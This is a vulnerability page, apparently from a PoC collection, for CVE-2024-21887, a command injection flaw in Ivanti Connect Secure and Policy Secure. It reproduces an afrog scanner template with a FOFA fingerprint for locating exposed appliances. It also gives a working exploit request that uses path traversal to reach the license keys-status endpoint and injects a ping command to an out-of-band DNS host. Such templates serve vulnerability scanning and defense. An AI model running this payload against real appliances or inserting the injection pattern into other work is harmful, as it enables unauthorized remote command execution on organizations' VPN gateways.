CVE-2024-21887: Ivanti Connect Secure 远程命令注入

2025-08-01 Ivanti Connect Secure PoC Public

Description

A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

fofa: body="welcome.cgi?p=logo"

PoC

id: CVE-2024-21887

info:
  name: Ivanti Connect Secure 远程命令注入
  author: zan8in
  severity: critical
  verified: true
  description: |-
    A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
    fofa: body="welcome.cgi?p=logo"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21887
  tags: ivanti,rce,cve,cve2024
  created: 2024/02/01

set:
  oob: oob()
  oobDNS: oob.DNS
rules:
  r0:
    request:
      method: GET
      path: /api/v1/totp/user-backup-code/../../license/keys-status/%3bping%20{{oobDNS}}
    expression: oobCheck(oob, oob.ProtocolDNS, 3)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2024/CVE-2024-21887.yaml

References

Related Vulnerabilities